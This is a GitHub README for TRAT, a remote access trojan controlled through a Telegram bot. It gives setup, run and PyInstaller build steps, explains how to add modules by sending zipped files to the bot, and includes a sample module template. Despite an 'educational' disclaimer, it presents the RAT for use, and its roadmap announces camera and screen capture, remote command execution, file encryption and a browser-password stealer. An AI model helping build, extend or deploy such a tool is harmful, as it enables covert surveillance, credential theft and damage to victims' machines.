Skip to content

TRAT is a powerful cross-platform RAT based on Telegram bot protocol.

License

Notifications You must be signed in to change notification settings

CrazyProger1/TRAT

Repository files navigation

TRAT

Simple-XSS logo

GitHub GitHub release (latest by date)

Cross-platform Code Style

TRAT is a powerful cross-platform RAT based on Telegram-bot protocol.

Key-Features

  • Cross-platform
  • Modularity allowing endless functionality expansion
  • Based on Telegram-bot protocol

Disclaimer

This program is provided for educational and research purposes only. The creator of this program does not condone or support any illegal or malicious activity, and will not be held responsible for any such actions taken by others who may use this program. By downloading or using this program, you acknowledge that you are solely responsible for any consequences that may result from the use of this program.

Usage

To use the program create and fulfill .env file:

TOKEN="Your Bot Token"
ADMIN="Your Telegram Chat ID"

Ensure you have Python^3.12(recommended) & requirements installed.

After that you can run it:

python -m trat

or build.

If everything is ok, you will receive a message from the bot:

bot_online.png

Send /help to obtain to get help:

help.png

By default, you don't have any modules, but you can install one by sending zipped module to bot:

module.png

You can check it by /modules command:

modules.png

Now all new commands appear in the /help menu:

help_fs.png

Building

Ensure you have pyinstaller installed.

To build, just run the script:

sh ./scripts/build.sh

or (for Windows):

"scripts/build.bat"

Development

Module

Example module.py:

__name__ = "Example"  # module name
__author__ = "crazyproger1"  # module author
__version__ = "0.0.1"  # module version
__doc__ = "Example module description"  # module description

import aiogram
from aiogram import types

from trat.api import AdminFilter, CommandFilter

router = aiogram.Router()  # default aiogram router

routers = [  # !important, must be in all user-modules
    router,
]


@router.message(  # default aiogram message handler
    AdminFilter(),  # only you can use this command (chatid specified in .env)
    CommandFilter(  # custom command filter
        "my_command",
        description="My Command Description",  # command description, for a help menu
        tag=__name__,  # tag, for a help menu
        arguments=("message",),  # arguments of command, for a help menu
    )
)
async def on_my_command(message: types.Message):
    print(message.text)

Your command in the help menu:

help_example.png

Status

V0.0.1 - RELEASED

Working on new modules!

Coming soon:

  • Filesystem
  • Encryption (files)
  • Camera (photo, video)
  • Screen (screenshots, video)
  • System (execute commands, restart, shutdown)
  • Info (PC info)
  • Stealer (browser passwords)

License

TRAT is released under the MIT License. See the bundled LICENSE file for details.